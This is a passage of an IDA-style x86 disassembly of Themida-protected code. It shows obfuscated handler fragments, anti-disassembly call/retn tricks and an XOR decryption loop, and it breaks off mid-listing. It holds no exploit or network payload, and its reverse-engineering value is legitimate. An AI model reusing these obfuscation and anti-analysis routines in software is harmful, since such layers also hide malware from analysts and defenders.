rol dword ptr [edi], 8Dh
test ebx, esp
cmp esp, esp
pop es
mov [ebp+7E41AA1h], eax
call eax
mov bx, 0B51h
mov [ebp+7E42161h], eax
mov dh, 0D8h
loc_589D56: ; CODE XREF: Themida_:00589CDEj
mov eax, 0
cld
mov [ebp+7E44F81h], edi
push 0
push edx
call sub_589D6D
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_589D6D proc near ; CODE XREF: Themida_:00589D65p
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 16h
inc edx
push edx
retn
sub_589D6D endp
; ---------------------------------------------------------------------------
retn 9DFBh
; ---------------------------------------------------------------------------
jz loc_589D9C
pusha
jmp loc_589D9B
; ---------------------------------------------------------------------------
xchg eax, edi
sub byte ptr [ebp+53A3867Fh], 7Fh
sub al, 0EAh
dec esp
sbb ebp, esp
clc
scasb
loc_589D9B: ; CODE XREF: Themida_:00589D87j
popa
loc_589D9C: ; CODE XREF: Themida_:00589D80j
or eax, eax
jz loc_589DC9
movsx edx, dx
jmp loc_589E15
; ---------------------------------------------------------------------------
push 0
push eax
call sub_589DB7
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_589DB7 proc near ; CODE XREF: Themida_:00589DAFp
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 15h
inc eax
push eax
retn
sub_589DB7 endp
; ---------------------------------------------------------------------------
add edi, edi
loc_589DC9: ; CODE XREF: Themida_:00589D9Ej
push dword ptr [ebp+7E41665h]
add ebx, [ebp+7E40571h]
lea eax, [ebp+7E6DBD6h]
push 0
push eax
call sub_589DE6
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_589DE6 proc near ; CODE XREF: Themida_:00589DDEp
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 19h
inc eax
push eax
retn
sub_589DE6 endp
; ---------------------------------------------------------------------------
dw 0EC37h
dd 3988E994h, 0EE96050h, 65000000h, 9A8B2D48h, 867350B0h
dd 0F877345Fh, 4896193h
db 24h
; ---------------------------------------------------------------------------
loc_589E15: ; CODE XREF: Themida_:loc_589C75j
; Themida_:00589DA7j
push eax
push esi
lea edi, [ebp+7E456EBh]
lea ecx, [ebp+7E4799Fh]
mov eax, 748323BCh
sub ecx, edi
loc_589E2A: ; CODE XREF: Themida_:00589E30j
xor [edi], al
ror al, 1
inc edi
dec ecx
jnz short loc_589E2A
pop esi
pop eax
cmp dword ptr [ebp+7E406B9h], 0
jz short loc_589E43
mov ecx, [ebp+7E41AA5h]
loc_589E43: ; CODE XREF: Themida_:00589E3Bj
xor ecx, ecx
mov eax, 0
or eax, eax
jz loc_589EFA
cmp dword ptr [ebp+7E42471h], 0
jz short loc_589E61
call dword ptr [ebp+7E41F91h]
loc_589E61: ; CODE XREF: Themida_:00589E59j
mov eax, 0
or eax, eax
jnz short loc_589E73
cmp dword ptr [ebp+7E44F89h], 1
jz short loc_589E7C
loc_589E73: ; CODE XREF: Themida_:00589E68j
cmp dword ptr [ebp+7E44F89h], 2
jnz short loc_589E8A
loc_589E7C: ; CODE XREF: Themida_:00589E71j
mov esi, [ebp+7E44F81h]
lea eax, [ebp+7E6DBD6h]
call eax
loc_589E8A: ; CODE XREF: Themida_:00589E7Aj
cmp dword ptr [ebp+7E4231Dh], 0
jz short loc_589E99
call dword ptr [ebp+7E421E1h]
loc_589E99: ; CODE XREF: Themida_:00589E91j
lea eax, [ebp+7E443E7h]
call eax
cmp dword ptr [ebp+7E40B11h], 2
jnz short loc_589ED9
mov esp, [ebp+7E40649h]
mov eax, [ebp+7E406B9h]
mov [esp], eax
mov dword ptr [ebp+7E40E65h], 1
mov esi, [ebp+7E44F85h]
mov ebp, [ebp+7E41271h]
mov eax, 1
retn 0Ch
; ---------------------------------------------------------------------------
jmp short $+2
loc_589ED9: ; CODE XREF: Themida_:00589EA8j
mov dword ptr [ebp+7E40E65h], 1
mov esp, [ebp+7E40649h]
mov esi, [ebp+7E40F11h]
mov ebp, [ebp+7E41271h]
xor eax, eax
retn 0Ch
; ---------------------------------------------------------------------------
loc_589EFA: ; CODE XREF: Themida_:00589E4Cj
cmp dword ptr [ebp+7E4231Dh], 0
jz short loc_589F12
cmp dword ptr [ebp+7E421E1h], 0
jz short loc_589F12
call dword ptr [ebp+7E421E1h]
loc_589F12: ; CODE XREF: Themida_:00589F01j
; Themida_:00589F0Aj
mov esi, [ebp+7E44F81h]
retn
; ---------------------------------------------------------------------------
push 0
push edx
call sub_589F24
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_589F24 proc near ; CODE XREF: Themida_:00589F1Cp
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 17h
inc edx
push edx
retn
sub_589F24 endp
; ---------------------------------------------------------------------------
dd 457D8578h, 0EBF28166h, 29958977h, 0BA07E42Ch, 0
; ---------------------------------------------------------------------------
mov bx, si
push ebp
mov ebp, esp
push ecx
push edi
push edx
push esi
mov edi, [ebp+8]
xor eax, eax
jmp short loc_589F5B
; ---------------------------------------------------------------------------
loc_589F59: ; CODE XREF: Themida_:00589F5Ej
inc eax
inc edi
loc_589F5B: ; CODE XREF: Themida_:00589F57j
cmp byte ptr [edi], 0
jnz short loc_589F59
xor ecx, ecx
mov edi, [ebp+8]
jmp short loc_589F8A
; ---------------------------------------------------------------------------
loc_589F67: ; CODE XREF: Themida_:00589F8Cj
xor edx, edx
mov dl, [edi]
sub dl, 30h
mov esi, eax
dec esi
push eax
mov eax, edx
push ebx
mov ebx, 0Ah
jmp short loc_589F7F
; ---------------------------------------------------------------------------
loc_589F7C: ; CODE XREF: Themida_:00589F82j
mul ebx
dec esi
loc_589F7F: ; CODE XREF: Themida_:00589F7Aj
cmp esi, 0
ja short loc_589F7C
pop ebx
add ecx, eax
pop eax
inc edi
dec eax
loc_589F8A: ; CODE XREF: Themida_:00589F65j
or eax, eax
jnz short loc_589F67
mov eax, ecx
pop esi
pop edx
pop edi
pop ecx
leave
retn 4
; ---------------------------------------------------------------------------
mov ebx, [ebp+7E4014Dh]
mov edx, eax
loc_589FA0: ; CODE XREF: Themida_:loc_587467j
mov eax, ecx
jmp loc_5AF595
; ---------------------------------------------------------------------------
db 0F4h
dd 1B0012FEh, 0E0006087h, 1B0012FFh, 2B006087h, 1B00606Dh
dd 23026E00h, 12026E00h, 2000002h, 2 dup(1000000h), 8B000000h
dd 0F87424h, 4 dup(0)
dd 27000000h, 180058FAh, 0D70058D8h, 34005977h, 2D0058F0h
dd 4D00594Fh, 5A00590Ah, 2000591Eh, 360058CEh, 60005936h
dd 7D005934h, 370058B9h, 0A50058D6h, 5100593Bh, 0E0005906h
dd 0B00596Dh, 73005941h, 80058BEh, 0CF005929h, 1400593Dh
dd 0DB0058B0h, 0AB005944h, 7E0058CBh, 580058A9h, 0B60058E0h
dd 0AE005907h, 0D7005934h, 0E8005938h, 0E20058E6h, 0DA00595Eh
dd 600593Fh, 0DE0058E1h, 920058CDh, 2F0058F5h, 6600596Ah
dd 600058CEh, 8D005916h, 0AE005977h, 2F0058B2h, 1E0058CDh
dd 0EA0058F1h, 1D00593Fh, 870058B1h, 2200594Fh, 6200595Fh
dd 0F000594Fh, 0E90058E7h, 580058FBh, 77005900h, 24005976h
dd 210058B0h, 0DC005915h, 0B800597Eh, 6D005950h, 8500593Fh
dd 410058ADh, 270058D2h, 5100596Fh, 0B700591Dh, 0A900590Ch
dd 5A00592Fh, 0CA0058E6h, 0CD0058EFh, 63005944h, 0F300594Ch
dd 70058ABh, 2D0058E2h, 8F0058C0h, 2A00596Ch, 0ED0058C2h
dd 0C500593Dh, 0DC005930h, 560058A4h, 0C2005969h, 140058BBh
dd 0F800596Dh, 5F005941h, 280058FDh, 40058DFh, 0E700594Ah
dd 0A0005901h, 8900590Fh, 4F0058A6h, 15005908h, 0F80058A4h
dd 890058BFh, 320058C7h, 450058FCh, 5E0058DBh, 0D800592Eh
dd 0D1005971h, 480058C4h, 0B1005917h, 0A70058FAh, 0BF0058CFh
dd 2500590Eh, 930058F6h, 0DC005968h, 0DD005918h, 4D005904h
dd 9A005939h, 21005931h, 4100593Dh, 5300595Ah, 0D1005963h
dd 8E0058A9h, 0CF0058F9h, 95005912h, 0FB0058F9h, 5F00594Eh
dd 0D00058DEh, 5D00596Fh, 95005915h, 0AB0058D1h, 0A10058C6h
dd 5D005920h, 50058B1h, 790058E7h, 7600596Ah, 8B0058D0h
dd 0A1005919h, 990058E7h, 49005953h, 760058DAh, 7A00595Bh
dd 7F0058FAh, 7F0058EAh, 0D7005952h, 0DA0058E7h, 0F400593Ch
dd 740058F4h, 9B005907h, 73005938h, 6A0058F3h, 0AF0058BAh
dd 0C900594Fh, 590058C1h, 4C00591Dh, 0D200592Bh, 9300593Fh
dd 3600593Ah, 0E005908h, 4F005914h, 710058E5h, 740058DDh
dd 54005909h, 90058AAh, 4D005917h, 37005961h, 73005917h
dd 0FB005958h, 0D0005920h, 10005932h, 880058AAh, 0A40058E1h
dd 80058BAh, 120058D7h, 0F8005934h, 760058E8h, 6E0058C9h
dd 0D400593Bh, 0C00058D3h, 780058C1h, 46005972h, 2A0058D5h
dd 0AB0058E5h, 860058D6h
; ---------------------------------------------------------------------------
cmp [ecx+0], ebx
; START OF FUNCTION CHUNK FOR sub_5EC2E8
loc_58A287: ; CODE XREF: Themida_:005AF6D3j
; Themida_:005AF6DDj ...
pusha
pushf
cld
call $+5
pop edi
sub edi, 7E47E04h
mov eax, edi
add edi, 7E47B1Ch
cmp eax, [edi+2Ch]
jnz short loc_58A2A5
jmp short loc_58A2B8
; ---------------------------------------------------------------------------
loc_58A2A5: ; CODE XREF: sub_5EC2E8-62047j
mov [edi+2Ch], eax
mov ecx, 0A7h
jmp short loc_58A2B4
; ---------------------------------------------------------------------------
loc_58A2AF: ; CODE XREF: sub_5EC2E8-62032j
add [edi+ecx*4+40h], eax
dec ecx
loc_58A2B4: ; CODE XREF: sub_5EC2E8-6203Bj
or ecx, ecx
jnz short loc_58A2AF
loc_58A2B8: ; CODE XREF: sub_5EC2E8-62045j
mov esi, [esp+24h]
mov ebx, esi
add esi, eax
mov ecx, 1
loc_58A2C5: ; CODE XREF: sub_5EC2E8-6201Cj
xor eax, eax
lock cmpxchg [edi+30h], ecx
jnz short loc_58A2C5
loc_58A2CE: ; CODE XREF: Themida_:0058A38Dj
; Themida_:0058A4FBj ...
lodsb
jmp loc_5963AE
; END OF FUNCTION CHUNK FOR sub_5EC2E8
; ---------------------------------------------------------------------------
loc_58A2D4: ; CODE XREF: Themida_:0058B833j
or [edi+1Ch], esi
mov esi, [esp]
push esi
mov esi, esp
add esi, 4
jmp loc_58AFBF
; ---------------------------------------------------------------------------
loc_58A2E8: ; CODE XREF: Themida_:0058B8FFj
add esp, 4
jmp loc_58BF8E
; ---------------------------------------------------------------------------
loc_58A2F3: ; CODE XREF: Themida_:0058DD11j
mov esp, [esp]
push dword ptr [esp]
push dword ptr [esp]
pop ecx
jmp loc_58C904
; ---------------------------------------------------------------------------
loc_58A302: ; CODE XREF: Themida_:00595E5Dj
mov edi, [esp]
push 0EEAh
mov [esp], edx
mov edx, esp
jmp loc_58B7BE
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_594654
loc_58A314: ; CODE XREF: sub_594654+316Aj
xchg ebp, [esp+4+var_4]
mov esp, [esp+4+var_4]
imul cl
movzx cx, ah
push 500h
mov [esp+0], ecx
push esp
mov ecx, [esp+4+var_4]
add esp, 4
push ebx
jmp loc_5927C2
; END OF FUNCTION CHUNK FOR sub_594654
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58F5B5
loc_58A338: ; CODE XREF: sub_58F5B5+7DEFj
or ecx, ecx
jz loc_58D6EF
push eax
mov eax, esp
add eax, 4
sub eax, 4
jmp loc_59665C
; END OF FUNCTION CHUNK FOR sub_58F5B5
; ---------------------------------------------------------------------------
loc_58A350: ; CODE XREF: Themida_:00596964j
mov edx, 4
push eax
mov eax, 6A387284h
sub eax, 50894668h
sub edi, eax
pop eax
jmp loc_58B9F9
; ---------------------------------------------------------------------------
loc_58A368: ; CODE XREF: Themida_:0059785Fj
push eax
mov eax, 2
mov edx, eax
pop eax
mov eax, edx
pop edx
add esi, 65DA575Ah
sub esi, eax
sub esi, 65DA575Ah
pop eax
xchg esi, [esp]
mov esp, [esp]
mov [esp], ax
jmp loc_58A2CE
; ---------------------------------------------------------------------------
loc_58A392: ; CODE XREF: Themida_:0059078Aj
mov esi, 0F757FA88h
sub ebx, esi
jmp loc_58BB5D
; ---------------------------------------------------------------------------
loc_58A39E: ; CODE XREF: Themida_:00595231j
add ecx, edi
pop edi
xchg ecx, [esp]
jmp loc_597101
; ---------------------------------------------------------------------------
loc_58A3A9: ; CODE XREF: Themida_:0058DFF0j
xchg esi, [esp]
mov esp, [esp]
mov ax, [esp]
push ecx
jmp loc_591C7F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5938B9
loc_58A3B9: ; CODE XREF: sub_5938B9+423Aj
push ecx
mov ecx, esp
add ecx, 4
sub ecx, 4
xchg ecx, [esp+4+var_6+2]
pop esp
mov [esp+0], ebp
mov ebp, 3C092462h
mov esi, 27365E11h
xor esi, ebp
jmp loc_59769A
; END OF FUNCTION CHUNK FOR sub_5938B9
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_590467
loc_58A3E0: ; CODE XREF: sub_590467+37E0j
add esi, 0A617000h
add esi, ecx
sub esi, 0A617000h
mov ecx, [esp+0]
add esp, 4
jmp loc_5957BA
; END OF FUNCTION CHUNK FOR sub_590467
; ---------------------------------------------------------------------------
loc_58A3FC: ; CODE XREF: Themida_:0058BB58j
sub ebp, 593129CDh
sub ebp, esi
add ebp, 593129CDh
jmp loc_597288
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_595258
loc_58A40F: ; CODE XREF: sub_595258-3A14j
pop esi
jmp loc_58FEF5
; END OF FUNCTION CHUNK FOR sub_595258
; ---------------------------------------------------------------------------
lodsb
add al, 34h
push ecx
mov cl, 12h
sub al, 9Dh
sub al, cl
add al, 9Dh
pop ecx
sub al, bl
push ebx
push ecx
jmp loc_596A8D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58C17E
loc_58A42B: ; CODE XREF: sub_58C17E+3D46j
add ecx, esi
sub ecx, 0A575744h
mov esi, [esp+0]
add esp, 4
push eax
sub esp, 4
mov [esp+4+var_4], esi
push 3F740E7h
pop esi
mov eax, 3F740EBh
sub eax, esi
pop esi
and ecx, eax
push dword ptr [esp+0]
pop eax
push eax
jmp loc_58D116
; END OF FUNCTION CHUNK FOR sub_58C17E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5938B9
loc_58A45D: ; CODE XREF: sub_5938B9+4397j
mov ecx, [esp+0]
jmp loc_5933AE
; END OF FUNCTION CHUNK FOR sub_5938B9
; ---------------------------------------------------------------------------
loc_58A465: ; CODE XREF: Themida_:0058F7F9j
pop ecx
push edx
mov edx, 2
add edi, edx
pop edx
push edi
jmp loc_594487
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_590B70
loc_58A475: ; CODE XREF: sub_590B70+536Dj
mov [esp+0], ebp
mov ebp, esp
push ebx
mov ebx, 4
add ebp, ebx
pop ebx
push edx
push esi
push 1DF47593h
pop esi
shr esi, 4
sub esi, 1DF4755h
push ecx
mov ecx, esi
mov edx, ecx
pop ecx
push [esp+8+var_8]
pop esi
add esp, 4
sub ebp, 49E64C75h
sub ebp, edx
jmp loc_59370C
; END OF FUNCTION CHUNK FOR sub_590B70
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5919E2
loc_58A4AE: ; CODE XREF: sub_5919E2+5A3Aj
sub ecx, edi
pop edi
jmp loc_58D4D4
; END OF FUNCTION CHUNK FOR sub_5919E2
; ---------------------------------------------------------------------------
loc_58A4B6: ; CODE XREF: Themida_:0058CB4Aj
pop ebx
push eax
jmp loc_596DA9
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58C17E
loc_58A4BD: ; CODE XREF: sub_58C17E+6011j
push 254Eh
mov [esp+8+var_8], ebp
mov ebp, 4
jmp loc_58ED9C
; END OF FUNCTION CHUNK FOR sub_58C17E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_592D25
loc_58A4CF: ; CODE XREF: sub_592D25+9E2j
xchg ecx, [esp+0]
pop esp
mov [esp-4+arg_0], eax
push ecx
jmp loc_58EDC9
; END OF FUNCTION CHUNK FOR sub_592D25
; ---------------------------------------------------------------------------
lodsd
xor eax, ebx
sub esp, 4
jmp loc_592416
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_592D25
loc_58A4EA: ; CODE XREF: sub_592D25+2CA6j
pop eax
push esi
mov esi, 0AA364E0h
jmp loc_591D30
; END OF FUNCTION CHUNK FOR sub_592D25
; ---------------------------------------------------------------------------
loc_58A4F6: ; CODE XREF: Themida_:00595B3Fj
rol word ptr [esp], cl
pushf
jmp loc_58A2CE
; ---------------------------------------------------------------------------
loc_58A500: ; CODE XREF: Themida_:00597672j
push eax
mov ah, 0D8h
jmp loc_58B739
; ---------------------------------------------------------------------------
loc_58A508: ; CODE XREF: Themida_:00596BD3j
push edx
mov edx, 6E77798Dh
add edx, 5786A1Ah
and edx, 0E193B26h
sub edx, 0A2AC0B68h
jmp loc_58F43D
; ---------------------------------------------------------------------------
loc_58A525: ; CODE XREF: Themida_:00593993j
push 1D9D0C4Ah
pop eax
jmp loc_592DB3
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_596CA1
loc_58A530: ; CODE XREF: sub_596CA1-994Bj
and bl, dl
pop dx
sub bl, 24h
add al, 0D2h
add al, bl
push bx
mov bh, 0D2h
sub al, bh
pop bx
mov ebx, [esp+2+var_4+2]
add esp, 4
push ebx
jmp loc_595934
; END OF FUNCTION CHUNK FOR sub_596CA1
; ---------------------------------------------------------------------------
loc_58A54F: ; CODE XREF: Themida_:00596B2Aj
add ecx, ebp
sub ecx, 387F67CFh
pop ebp
xor ecx, [esp]
xor [esp], ecx
xor ecx, [esp]
mov esp, [esp]
jmp loc_5951D2
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58C17E
loc_58A569: ; CODE XREF: sub_58C17E+A6Aj
or edx, eax
jmp loc_597E7F
; END OF FUNCTION CHUNK FOR sub_58C17E
; ---------------------------------------------------------------------------
loc_58A570: ; CODE XREF: Themida_:0058CF43j
xor eax, [esp]
xor [esp], eax
xor eax, [esp]
pop esp
mov eax, [esp]
sub esp, 4
mov [esp], ecx
mov ecx, esp
push ebx
jmp loc_58E4B9
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5EC2E8
loc_58A58E: ; CODE XREF: sub_5EC2E8-5EA84j
sub ah, 64h
jmp loc_58CC2F
; END OF FUNCTION CHUNK FOR sub_5EC2E8
; ---------------------------------------------------------------------------
loc_58A596: ; CODE XREF: Themida_:005908D8j
jmp loc_58A2CE
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_590010
loc_58A59B: ; CODE XREF: sub_590010+11E1j
shr esi, 3
push edx
mov edx, 0F9C6E2F4h
add esi, edx
mov edx, [esp+4+var_4]
add esp, 4
push ebx
mov ebx, esi
mov eax, ebx
jmp loc_58FC82
; END OF FUNCTION CHUNK FOR sub_590010
; ---------------------------------------------------------------------------
loc_58A5B9: ; CODE XREF: Themida_:005930C9j
push 3643h
mov [esp], ecx
push esp
pop ecx
push 7F77h
mov [esp], edi
mov edi, 2CA148Dh
add edi, 0FD35EB77h
add ecx, edi
pop edi
push esi
mov esi, 1406B59h
jmp loc_5935EF
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59089C
loc_58A5E4: ; CODE XREF: sub_59089C+19A6j
pop dword ptr [edi+24h]
push eax
mov eax, 5DB64E91h
jmp loc_591787
; END OF FUNCTION CHUNK FOR sub_59089C
; ---------------------------------------------------------------------------
loc_58A5F2: ; CODE XREF: Themida_:00593E1Ej
add eax, esi
sub esp, 4
mov [esp], ebp
push edx
mov edx, 17962AF7h
mov ebp, edx
jmp loc_58AB6E
; ---------------------------------------------------------------------------
loc_58A60A: ; CODE XREF: Themida_:00597391j
push 0A84h
mov [esp], ebx
jmp loc_58F352
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_595E21
loc_58A617: ; CODE XREF: sub_595E21-679j
add ecx, 4
xor ecx, [esp+0]
xor [esp+0], ecx
xor ecx, [esp+0]
pop esp
jmp loc_590649
; END OF FUNCTION CHUNK FOR sub_595E21
; ---------------------------------------------------------------------------
loc_58A629: ; CODE XREF: Themida_:0058FACCj
push edi
push 3086h
mov [esp], edx
push ebp
jmp loc_5951EE
; ---------------------------------------------------------------------------
loc_58A638: ; CODE XREF: Themida_:005917FBj
add esp, 4
push 2271h
mov [esp], ebx
push dword ptr [esp+4]
pop ebx
pop dword ptr [esp]
jmp loc_58B612
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_597716
loc_58A653: ; CODE XREF: sub_597716+13j
and ebp, 0BAE571Ch
jmp sub_595655
; END OF FUNCTION CHUNK FOR sub_597716
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59524C
loc_58A65E: ; CODE XREF: sub_59524C+973j
neg edx
push esi
mov esi, 0EAB4AF9h
sub edx, 66D76958h
add edx, esi
add edx, 66D76958h
pop esi
push 3BB7h
mov [esp+4+var_4], ecx
mov ecx, 620A1BF4h
or edx, ecx
jmp loc_59594F
; END OF FUNCTION CHUNK FOR sub_59524C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58F5B5
loc_58A689: ; CODE XREF: sub_58F5B5+37Bj
push 4FF0h
mov [esp+8+var_8], edx
jmp loc_58A2CE
; END OF FUNCTION CHUNK FOR sub_58F5B5
; ---------------------------------------------------------------------------
loc_58A696: ; CODE XREF: Themida_:0058AF95j
or edi, 0FD37D82h
push 5FA6h
mov [esp], edx
mov edx, 17CC394Eh
and edx, 25F72DA4h
jmp loc_596969
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58F836
loc_58A6B4: ; CODE XREF: Themida_:loc_59036Ej
; sub_58F836+66E7j
pop eax
add eax, 6DD12502h
jmp loc_593728
; END OF FUNCTION CHUNK FOR sub_58F836
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58EB1F
loc_58A6BF: ; CODE XREF: sub_58EB1F+B37j
xchg ebp, [esp+0]
pop esp
mov [esp-4+arg_0], ecx
push ebx
mov ebx, 4E03894h
add ebx, 471C42F7h
push ebp
mov ebp, 20F658B4h
sub ebp, 0AA410DC3h
add ebx, ebp
pop ebp
sub ebx, 5BFC29BCh
or ebx, 1B75370Fh
sub esp, 4
mov [esp+4+var_4], ebp
jmp sub_58D236
; END OF FUNCTION CHUNK FOR sub_58EB1F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58C17E
loc_58A6FB: ; CODE XREF: sub_58C17E+D3Fj
mov ebx, 4
add [esp+8+var_4], ebx
pop ebx
mov ebp, [esp+4+var_4]
jmp loc_596042
; END OF FUNCTION CHUNK FOR sub_58C17E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_590467
loc_58A70D: ; CODE XREF: sub_590467+2318j
push [esp-4+arg_4]
pop eax
jmp loc_59657E
; END OF FUNCTION CHUNK FOR sub_590467
; ---------------------------------------------------------------------------
byte_58A717 db 89h ; CODE XREF: Themida_:00594906j
; ---------------------------------------------------------------------------
and al, 24h
add dword ptr [esp], 4
jmp loc_58BDF3
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_590467
loc_58A723: ; CODE XREF: sub_590467+3C04j
and ebp, 2E86331Eh
or ebp, 400507A8h
jnz loc_58B9BA
shl ebp, 5
jmp loc_58D164
; END OF FUNCTION CHUNK FOR sub_590467
; ---------------------------------------------------------------------------
sub ecx, ebx
; START OF FUNCTION CHUNK FOR sub_590010
loc_58A73F: ; CODE XREF: sub_590010+2EB0j
shl ecx, 6
shl ecx, 6
shr ecx, 4
jmp loc_58C945
; END OF FUNCTION CHUNK FOR sub_590010
; ---------------------------------------------------------------------------
loc_58A74D: ; CODE XREF: Themida_:00595524j
push ebp
mov ebp, 76152C44h
xor ebp, 299E2CDAh
and ebp, 35D65133h
inc ebp
push edx
mov edx, 15820013h
sub ebp, edx
jmp loc_593E44
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_590467
loc_58A76D: ; CODE XREF: sub_590467-47C0j
pop cx
sub bl, 0D5h
jmp loc_58D314
; END OF FUNCTION CHUNK FOR sub_590467
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59762D
loc_58A777: ; CODE XREF: sub_59762D-6C2Ej
or ebp, 5C967C10h
xor ebp, 0C24EC2BCh
mov eax, ebp
pop ebp
sub eax, ebx
pop ebx
shl eax, 2
js loc_594307
push edi
mov edi, 8DF9C78Eh
jmp loc_596786
; END OF FUNCTION CHUNK FOR sub_59762D
; ---------------------------------------------------------------------------
pop ebx
; START OF FUNCTION CHUNK FOR sub_58D236
loc_58A79E: ; CODE XREF: sub_58D236+141Fj
pop esp
mov ax, word ptr [esp-4+arg_0]
jmp loc_59772E
; END OF FUNCTION CHUNK FOR sub_58D236
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_590010
loc_58A7A8: ; CODE XREF: sub_590010-3A35j
mov edx, esp
add edx, 4
sub edx, 4
xchg edx, [esp+4+var_4]
pop esp
mov [esp+0], ebx
mov ebx, 4
add ecx, ebx
pop ebx
jmp sub_59590E
; END OF FUNCTION CHUNK FOR sub_590010
; ---------------------------------------------------------------------------
loc_58A7C7: ; CODE XREF: Themida_:005967B7j
xor [esp], ecx
xor ecx, [esp]
pop esp
test cx, ax
pushf
jmp loc_58A2CE
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58C17E
loc_58A7D7: ; CODE XREF: sub_58C17E+8B30j
sub eax, 3E5A6B2Bh
sub eax, 65647781h
add eax, edi
add eax, 65647781h
jmp loc_5966B5
; END OF FUNCTION CHUNK FOR sub_58C17E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_592D12
loc_58A7ED: ; CODE XREF: sub_592D12+1j
pop eax
pop ebp
and eax, 58EE63B2h
jmp loc_58E11C
; END OF FUNCTION CHUNK FOR sub_592D12
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_594654
loc_58A7F9: ; CODE XREF: sub_594654+2563j
shr edi, 7
jmp loc_594C56
; END OF FUNCTION CHUNK FOR sub_594654
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5EC2E8
loc_58A801: ; CODE XREF: sub_5EC2E8-58052j
jmp loc_58A2CE
; END OF FUNCTION CHUNK FOR sub_5EC2E8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5916C4
loc_58A806: ; CODE XREF: sub_5916C4+5501j
add ebp, 30103AF3h
jmp loc_5901F7
; END OF FUNCTION CHUNK FOR sub_5916C4
; ---------------------------------------------------------------------------
loc_58A811: ; CODE XREF: Themida_:0059241Bj
push edx
mov edx, 476E1E13h
shr edx, 8
add edx, 0FFB891E6h
add edi, edx
pop edx
sub edi, 4
xchg edi, [esp]
jmp loc_5928FE
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5EC2E8
loc_58A82E: ; CODE XREF: sub_5EC2E8-54382j
js loc_5951C7
or dl, 77h
sub dl, 8Fh
jmp loc_58B72C
; END OF FUNCTION CHUNK FOR sub_5EC2E8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58F5B5
loc_58A83F: ; CODE XREF: sub_58F5B5+6395j
mov ebp, 78A8264Bh
add ebp, 3A89551Dh
jmp loc_597CF6
; END OF FUNCTION CHUNK FOR sub_58F5B5
; ---------------------------------------------------------------------------
loc_58A84F: ; CODE XREF: Themida_:0058D071j
pop ebp
push eax
mov eax, 38DA6D23h
shl eax, 1
jnz loc_58C914
inc eax
jp loc_58ECB6
or dh, 0E3h
; START OF FUNCTION CHUNK FOR sub_58C17E
loc_58A868: ; CODE XREF: sub_58C17E+7910j
shl eax, 8
shl eax, 7
jmp loc_5967BC
; END OF FUNCTION CHUNK FOR sub_58C17E
; ---------------------------------------------------------------------------
loc_58A873: ; CODE XREF: Themida_:00593E3Aj
sub cl, 0D6h
xor cl, 7Dh
xor cl, 2
add bl, cl
push dword ptr [esp]
pop ecx
push edi
push 4D3Bh
mov [esp], esp
jmp loc_594028
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5938B9
loc_58A890: ; CODE XREF: sub_5938B9-19C2j
mov [esp+0], cx
mov cl, 75h
jmp loc_594371
; END OF FUNCTION CHUNK FOR sub_5938B9
; ---------------------------------------------------------------------------
loc_58A89B: ; CODE XREF: Themida_:005966D7j
pop edi
xor [esp], ecx
xor ecx, [esp]
xor [esp], ecx
jmp loc_58E805
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58C17E
loc_58A8AA: ; CODE XREF: sub_58C17E+1F3j
push edx
sub esp, 4
mov [esp+0Ch+var_C], eax
jmp loc_591D61
; END OF FUNCTION CHUNK FOR sub_58C17E
; ---------------------------------------------------------------------------
loc_58A8B9: ; CODE XREF: Themida_:0058F77Fj
